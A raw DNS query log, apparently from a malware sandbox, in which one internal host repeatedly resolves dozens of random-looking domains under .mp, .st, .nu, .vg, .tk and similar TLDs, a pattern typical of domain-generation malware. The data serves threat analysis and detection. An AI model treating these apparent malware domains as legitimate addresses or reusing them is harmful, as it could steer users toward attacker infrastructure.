Sep 7, 2024 15:30:35.273224115 CEST	192.168.2.7	1.1.1.1	0x1d67	Standard query (0)	ioycjeu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.492124081 CEST	192.168.2.7	1.1.1.1	0x4274	Standard query (0)	ccfoy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.733120918 CEST	192.168.2.7	1.1.1.1	0x2b78	Standard query (0)	ccfoy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.088912010 CEST	192.168.2.7	1.1.1.1	0xe367	Standard query (0)	asiuiy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.205321074 CEST	192.168.2.7	1.1.1.1	0x3ccb	Standard query (0)	asiuiy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.554425955 CEST	192.168.2.7	1.1.1.1	0x26b0	Standard query (0)	kjidaqsoau.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:37.676991940 CEST	192.168.2.7	1.1.1.1	0xf57e	Standard query (0)	wqncc.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:38.881620884 CEST	192.168.2.7	1.1.1.1	0x101c	Standard query (0)	udwawfegeio.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:38.904098034 CEST	192.168.2.7	1.1.1.1	0xf131	Standard query (0)	udwawfegeio.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:39.020730019 CEST	192.168.2.7	1.1.1.1	0x166d	Standard query (0)	ouwmfwh.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.176995993 CEST	192.168.2.7	1.1.1.1	0xeda4	Standard query (0)	haaqi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.431934118 CEST	192.168.2.7	1.1.1.1	0x56e9	Standard query (0)	haaqi.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.647018909 CEST	192.168.2.7	1.1.1.1	0x4eec	Standard query (0)	ieqccaiqxmqeei.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.753501892 CEST	192.168.2.7	1.1.1.1	0xf4f7	Standard query (0)	ieqccaiqxmqeei.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.098968983 CEST	192.168.2.7	1.1.1.1	0xc760	Standard query (0)	iwkmeol.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.346548080 CEST	192.168.2.7	1.1.1.1	0x978	Standard query (0)	iwkmeol.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.699954033 CEST	192.168.2.7	1.1.1.1	0x66e6	Standard query (0)	czcel.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.941060066 CEST	192.168.2.7	1.1.1.1	0xbe51	Standard query (0)	czcel.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.161989927 CEST	192.168.2.7	1.1.1.1	0xb4cd	Standard query (0)	iucoealu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.342653990 CEST	192.168.2.7	1.1.1.1	0xcfbc	Standard query (0)	iucoealu.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.614453077 CEST	192.168.2.7	1.1.1.1	0xfb42	Standard query (0)	qczyndmtc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.652250051 CEST	192.168.2.7	1.1.1.1	0xf2d7	Standard query (0)	qczyndmtc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.802141905 CEST	192.168.2.7	1.1.1.1	0x9de1	Standard query (0)	qzlqdcowacw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:43.990804911 CEST	192.168.2.7	1.1.1.1	0xe2b1	Standard query (0)	vcwagpvps.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.270524979 CEST	192.168.2.7	1.1.1.1	0x7f95	Standard query (0)	vcwagpvps.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.411815882 CEST	192.168.2.7	1.1.1.1	0xf64d	Standard query (0)	gsmwwianqmf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.517555952 CEST	192.168.2.7	1.1.1.1	0x9074	Standard query (0)	gsmwwianqmf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.725215912 CEST	192.168.2.7	1.1.1.1	0x7a90	Standard query (0)	yeqfyjxbrebva.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.559648037 CEST	192.168.2.7	1.1.1.1	0xf28c	Standard query (0)	yeqfyjxbrebva.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.773921967 CEST	192.168.2.7	1.1.1.1	0x3b4d	Standard query (0)	ryimxua.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.881407976 CEST	192.168.2.7	1.1.1.1	0x2ba8	Standard query (0)	ryimxua.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.192650080 CEST	192.168.2.7	1.1.1.1	0x7b29	Standard query (0)	xoogxhjxdgf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.307212114 CEST	192.168.2.7	1.1.1.1	0x695c	Standard query (0)	xoogxhjxdgf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.677050114 CEST	192.168.2.7	1.1.1.1	0xb571	Standard query (0)	jwmlbpywkyawo.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.849944115 CEST	192.168.2.7	1.1.1.1	0x5862	Standard query (0)	jwmlbpywkyawo.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:47.224889040 CEST	192.168.2.7	1.1.1.1	0xf155	Standard query (0)	diius.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.396296978 CEST	192.168.2.7	1.1.1.1	0xff7c	Standard query (0)	yzzuzcswg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.634784937 CEST	192.168.2.7	1.1.1.1	0xdf9c	Standard query (0)	yzzuzcswg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.849281073 CEST	192.168.2.7	1.1.1.1	0xb902	Standard query (0)	sdcouzk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.864634991 CEST	192.168.2.7	1.1.1.1	0xa0fb	Standard query (0)	sdcouzk.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.989458084 CEST	192.168.2.7	1.1.1.1	0x6550	Standard query (0)	ceougqmkfeewe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.234700918 CEST	192.168.2.7	1.1.1.1	0xebb	Standard query (0)	ceougqmkfeewe.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.677427053 CEST	192.168.2.7	1.1.1.1	0xbd7	Standard query (0)	gesmoyiumq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.857882023 CEST	192.168.2.7	1.1.1.1	0x8064	Standard query (0)	gesmoyiumq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.208575964 CEST	192.168.2.7	1.1.1.1	0x6aba	Standard query (0)	wgcwrceyw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.242454052 CEST	192.168.2.7	1.1.1.1	0x8b3a	Standard query (0)	wgcwrceyw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.395800114 CEST	192.168.2.7	1.1.1.1	0x7fa7	Standard query (0)	cxrcdnkmjjm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.877784967 CEST	192.168.2.7	1.1.1.1	0x2c9a	Standard query (0)	cxrcdnkmjjm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:51.239650011 CEST	192.168.2.7	1.1.1.1	0xeb75	Standard query (0)	weascqyrgizow.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:52.458416939 CEST	192.168.2.7	1.1.1.1	0xa78b	Standard query (0)	eoliugyamra.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:52.503223896 CEST	192.168.2.7	1.1.1.1	0xda3e	Standard query (0)	eoliugyamra.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:52.681413889 CEST	192.168.2.7	1.1.1.1	0x1f4a	Standard query (0)	zkibklb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.064202070 CEST	192.168.2.7	1.1.1.1	0x6dcf	Standard query (0)	zkibklb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.411627054 CEST	192.168.2.7	1.1.1.1	0x3e0	Standard query (0)	qyuzsaqyumadgt.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.762901068 CEST	192.168.2.7	1.1.1.1	0x1e89	Standard query (0)	qyuzsaqyumadgt.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.114543915 CEST	192.168.2.7	1.1.1.1	0x2f27	Standard query (0)	oskggy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.148607969 CEST	192.168.2.7	1.1.1.1	0x51ba	Standard query (0)	oskggy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.303690910 CEST	192.168.2.7	1.1.1.1	0x6793	Standard query (0)	uwuuxchcnepmcg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.716125011 CEST	192.168.2.7	1.1.1.1	0x8c50	Standard query (0)	uwuuxchcnepmcg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.802047968 CEST	192.168.2.7	1.1.1.1	0x7b4e	Standard query (0)	oowbe.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.815061092 CEST	192.168.2.7	1.1.1.1	0xff8	Standard query (0)	oowbe.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.942570925 CEST	192.168.2.7	1.1.1.1	0x204b	Standard query (0)	xwkssquxl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.970300913 CEST	192.168.2.7	1.1.1.1	0x6b8	Standard query (0)	xwkssquxl.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.086030006 CEST	192.168.2.7	1.1.1.1	0x131a	Standard query (0)	weues.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.351835012 CEST	192.168.2.7	1.1.1.1	0x7279	Standard query (0)	weues.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.505157948 CEST	192.168.2.7	1.1.1.1	0x9950	Standard query (0)	kkicwls.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.516629934 CEST	192.168.2.7	1.1.1.1	0xf374	Standard query (0)	kkicwls.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.630793095 CEST	192.168.2.7	1.1.1.1	0xd818	Standard query (0)	wdtickkun.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.801913977 CEST	192.168.2.7	1.1.1.1	0x2b6b	Standard query (0)	wdtickkun.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.083477020 CEST	192.168.2.7	1.1.1.1	0x205c	Standard query (0)	yqqasm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.096030951 CEST	192.168.2.7	1.1.1.1	0xa4fe	Standard query (0)	yqqasm.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.209022999 CEST	192.168.2.7	1.1.1.1	0xcc6e	Standard query (0)	noiucnllyqwgu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.399427891 CEST	192.168.2.7	1.1.1.1	0x1c5c	Standard query (0)	noiucnllyqwgu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.364523888 CEST	192.168.2.7	1.1.1.1	0x9489	Standard query (0)	cihjjqcky.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.404886007 CEST	192.168.2.7	1.1.1.1	0x40d2	Standard query (0)	cihjjqcky.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.521003962 CEST	192.168.2.7	1.1.1.1	0xbdcc	Standard query (0)	nzkdfwijycego.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.537699938 CEST	192.168.2.7	1.1.1.1	0xb9c8	Standard query (0)	nzkdfwijycego.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.663430929 CEST	192.168.2.7	1.1.1.1	0x30e2	Standard query (0)	lqqwakgihy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.942924976 CEST	192.168.2.7	1.1.1.1	0x66a4	Standard query (0)	lqqwakgihy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:59.318244934 CEST	192.168.2.7	1.1.1.1	0x6192	Standard query (0)	whimkzg.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:00.521815062 CEST	192.168.2.7	1.1.1.1	0x255b	Standard query (0)	oynkjxai.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:00.765147924 CEST	192.168.2.7	1.1.1.1	0x45c2	Standard query (0)	oynkjxai.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.208710909 CEST	192.168.2.7	1.1.1.1	0x2d91	Standard query (0)	cmeejgbxekmg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.484157085 CEST	192.168.2.7	1.1.1.1	0x4331	Standard query (0)	cmeejgbxekmg.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.636122942 CEST	192.168.2.7	1.1.1.1	0xb929	Standard query (0)	oqwmabvue.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.651432037 CEST	192.168.2.7	1.1.1.1	0x20ff	Standard query (0)	oqwmabvue.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.771421909 CEST	192.168.2.7	1.1.1.1	0xc422	Standard query (0)	sdciimqrbfxri.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.016279936 CEST	192.168.2.7	1.1.1.1	0xfd67	Standard query (0)	sdciimqrbfxri.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.224204063 CEST	192.168.2.7	1.1.1.1	0x5327	Standard query (0)	skpvsmbtkkwbg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.464510918 CEST	192.168.2.7	1.1.1.1	0xe423	Standard query (0)	skpvsmbtkkwbg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.818068981 CEST	192.168.2.7	1.1.1.1	0xe3e	Standard query (0)	qkhoq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:04.005703926 CEST	192.168.2.7	1.1.1.1	0xbb67	Standard query (0)	kwyckmjmiagy.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:05.226316929 CEST	192.168.2.7	1.1.1.1	0xd7c6	Standard query (0)	jnewcznyumckcw.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.380235910 CEST	192.168.2.7	1.1.1.1	0x7790	Standard query (0)	oqnipalnjir.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.564615965 CEST	192.168.2.7	1.1.1.1	0xfffa	Standard query (0)	oqnipalnjir.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.708326101 CEST	192.168.2.7	1.1.1.1	0xb1f7	Standard query (0)	xkszmatqscwo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.749038935 CEST	192.168.2.7	1.1.1.1	0xe9	Standard query (0)	xkszmatqscwo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.912085056 CEST	192.168.2.7	1.1.1.1	0xc43d	Standard query (0)	giogv.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.292016983 CEST	192.168.2.7	1.1.1.1	0x9524	Standard query (0)	geictwkpogc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.547801971 CEST	192.168.2.7	1.1.1.1	0xfcd0	Standard query (0)	geictwkpogc.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.661412954 CEST	192.168.2.7	1.1.1.1	0x5c6f	Standard query (0)	sqcigofggthzn.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.706701994 CEST	192.168.2.7	1.1.1.1	0xfcb2	Standard query (0)	sqcigofggthzn.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.154367924 CEST	192.168.2.7	1.1.1.1	0x209d	Standard query (0)	glkaobcgs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.219383955 CEST	192.168.2.7	1.1.1.1	0xafc	Standard query (0)	glkaobcgs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.365112066 CEST	192.168.2.7	1.1.1.1	0x87d1	Standard query (0)	gqskmay.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.464850903 CEST	192.168.2.7	1.1.1.1	0xd3f0	Standard query (0)	gqskmay.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.677937984 CEST	192.168.2.7	1.1.1.1	0x182a	Standard query (0)	caepygsem.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.202347994 CEST	192.168.2.7	1.1.1.1	0xce8b	Standard query (0)	caepygsem.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.348912001 CEST	192.168.2.7	1.1.1.1	0x7bcb	Standard query (0)	zgmwgrhyiyo.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.362624884 CEST	192.168.2.7	1.1.1.1	0x5ef5	Standard query (0)	zgmwgrhyiyo.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.490047932 CEST	192.168.2.7	1.1.1.1	0x9a50	Standard query (0)	qkgissdypbqam.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.503609896 CEST	192.168.2.7	1.1.1.1	0xa408	Standard query (0)	qkgissdypbqam.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.614521980 CEST	192.168.2.7	1.1.1.1	0x4009	Standard query (0)	koydecqcyni.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:11.755356073 CEST	192.168.2.7	1.1.1.1	0x51bd	Standard query (0)	oyzqy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:11.796062946 CEST	192.168.2.7	1.1.1.1	0x40ec	Standard query (0)	oyzqy.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:11.974078894 CEST	192.168.2.7	1.1.1.1	0xead3	Standard query (0)	kfbwsmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.525772095 CEST	192.168.2.7	1.1.1.1	0xd409	Standard query (0)	kfbwsmw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.739666939 CEST	192.168.2.7	1.1.1.1	0xe896	Standard query (0)	ywcimxqmgbs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.777106047 CEST	192.168.2.7	1.1.1.1	0xfb67	Standard query (0)	ywcimxqmgbs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.911586046 CEST	192.168.2.7	1.1.1.1	0xe799	Standard query (0)	yfymtgsg.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.925781012 CEST	192.168.2.7	1.1.1.1	0xb90c	Standard query (0)	yfymtgsg.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:13.052746058 CEST	192.168.2.7	1.1.1.1	0x2534	Standard query (0)	caxcxkg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:14.208415031 CEST	192.168.2.7	1.1.1.1	0x6356	Standard query (0)	uuyhocgpasnce.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:16.302527905 CEST	192.168.2.7	1.1.1.1	0x1f93	Standard query (0)	wjgzsqwufcmcgg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.443090916 CEST	192.168.2.7	1.1.1.1	0xc530	Standard query (0)	koxymhbx.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.459450960 CEST	192.168.2.7	1.1.1.1	0x75a8	Standard query (0)	koxymhbx.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.584506989 CEST	192.168.2.7	1.1.1.1	0x263f	Standard query (0)	zcrgvsuzzgk.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:18.813275099 CEST	192.168.2.7	1.1.1.1	0x2e9d	Standard query (0)	cmwwhy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:18.913458109 CEST	192.168.2.7	1.1.1.1	0x8074	Standard query (0)	cmwwhy.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.130325079 CEST	192.168.2.7	1.1.1.1	0xce9b	Standard query (0)	ugcqyayshvvsbq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.175614119 CEST	192.168.2.7	1.1.1.1	0xf50c	Standard query (0)	ugcqyayshvvsbq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.317981958 CEST	192.168.2.7	1.1.1.1	0xc1fc	Standard query (0)	vfwasiy.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.491591930 CEST	192.168.2.7	1.1.1.1	0xacfc	Standard query (0)	givxofbhqlh.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.535614967 CEST	192.168.2.7	1.1.1.1	0xbddf	Standard query (0)	givxofbhqlh.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.665159941 CEST	192.168.2.7	1.1.1.1	0x4ad2	Standard query (0)	gsbggrrmqe.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.683701992 CEST	192.168.2.7	1.1.1.1	0xc3c	Standard query (0)	gsbggrrmqe.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.818861008 CEST	192.168.2.7	1.1.1.1	0x7eb2	Standard query (0)	migcooaawxgwy.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.842406988 CEST	192.168.2.7	1.1.1.1	0xc65	Standard query (0)	migcooaawxgwy.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.959672928 CEST	192.168.2.7	1.1.1.1	0x7d15	Standard query (0)	mclgs.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.976901054 CEST	192.168.2.7	1.1.1.1	0xa31b	Standard query (0)	mclgs.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:21.099371910 CEST	192.168.2.7	1.1.1.1	0xf1e2	Standard query (0)	kckmmgslcmm.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.333425999 CEST	192.168.2.7	1.1.1.1	0x1cc7	Standard query (0)	durobycugqqik.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.374011993 CEST	192.168.2.7	1.1.1.1	0xcdf8	Standard query (0)	durobycugqqik.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.522562981 CEST	192.168.2.7	1.1.1.1	0x651f	Standard query (0)	otrax.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.534652948 CEST	192.168.2.7	1.1.1.1	0x849b	Standard query (0)	otrax.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.646157980 CEST	192.168.2.7	1.1.1.1	0x4242	Standard query (0)	gqpsxrkckqvkg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.889889956 CEST	192.168.2.7	1.1.1.1	0xd184	Standard query (0)	gqpsxrkckqvkg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.114984989 CEST	192.168.2.7	1.1.1.1	0x47c8	Standard query (0)	cofsylekkomaw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.127969027 CEST	192.168.2.7	1.1.1.1	0x3372	Standard query (0)	cofsylekkomaw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.240109921 CEST	192.168.2.7	1.1.1.1	0xdf99	Standard query (0)	ycypuwossams.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.486252069 CEST	192.168.2.7	1.1.1.1	0xca2e	Standard query (0)	ycypuwossams.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.834005117 CEST	192.168.2.7	1.1.1.1	0x9176	Standard query (0)	kqxbwsshuzoib.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.867371082 CEST	192.168.2.7	1.1.1.1	0xad8d	Standard query (0)	kqxbwsshuzoib.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.997980118 CEST	192.168.2.7	1.1.1.1	0xf0e1	Standard query (0)	scawpqmmeexi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.036319971 CEST	192.168.2.7	1.1.1.1	0xb719	Standard query (0)	scawpqmmeexi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.192755938 CEST	192.168.2.7	1.1.1.1	0x7d29	Standard query (0)	ofrmg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.217981100 CEST	192.168.2.7	1.1.1.1	0x7819	Standard query (0)	ofrmg.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.333514929 CEST	192.168.2.7	1.1.1.1	0x6811	Standard query (0)	pzixa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.575822115 CEST	192.168.2.7	1.1.1.1	0xa3ed	Standard query (0)	pzixa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.786706924 CEST	192.168.2.7	1.1.1.1	0xf0d9	Standard query (0)	iesocou.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:25.911948919 CEST	192.168.2.7	1.1.1.1	0xfd1	Standard query (0)	iaemzdcivuleu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:25.949872017 CEST	192.168.2.7	1.1.1.1	0xe55	Standard query (0)	iaemzdcivuleu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.068866014 CEST	192.168.2.7	1.1.1.1	0x5a77	Standard query (0)	skmugaleavhm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.174609900 CEST	192.168.2.7	1.1.1.1	0x83c1	Standard query (0)	skmugaleavhm.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.407104969 CEST	192.168.2.7	1.1.1.1	0xec41	Standard query (0)	tkzqgo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.687413931 CEST	192.168.2.7	1.1.1.1	0x9268	Standard query (0)	tkzqgo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.053633928 CEST	192.168.2.7	1.1.1.1	0xf81b	Standard query (0)	oxgkqaukyc.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.244518995 CEST	192.168.2.7	1.1.1.1	0x5de0	Standard query (0)	oxgkqaukyc.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.521764040 CEST	192.168.2.7	1.1.1.1	0xa657	Standard query (0)	cdykkoyesq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.772089005 CEST	192.168.2.7	1.1.1.1	0x6f7d	Standard query (0)	cdykkoyesq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.133316040 CEST	192.168.2.7	1.1.1.1	0x70de	Standard query (0)	qgcvsohqyic.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.176673889 CEST	192.168.2.7	1.1.1.1	0x4907	Standard query (0)	qgcvsohqyic.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.318207026 CEST	192.168.2.7	1.1.1.1	0xa558	Standard query (0)	yvjdkgsysukuu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.351222992 CEST	192.168.2.7	1.1.1.1	0xb303	Standard query (0)	yvjdkgsysukuu.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.490427017 CEST	192.168.2.7	1.1.1.1	0x4204	Standard query (0)	xsowjeify.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.529277086 CEST	192.168.2.7	1.1.1.1	0x180b	Standard query (0)	xsowjeify.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.680136919 CEST	192.168.2.7	1.1.1.1	0xec60	Standard query (0)	xifiugwhb.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.718220949 CEST	192.168.2.7	1.1.1.1	0x2041	Standard query (0)	xifiugwhb.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.834153891 CEST	192.168.2.7	1.1.1.1	0x4348	Standard query (0)	vyqekqyqkac.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.933629990 CEST	192.168.2.7	1.1.1.1	0x115c	Standard query (0)	vyqekqyqkac.mp	A (IP address)	IN (0x0001)	false
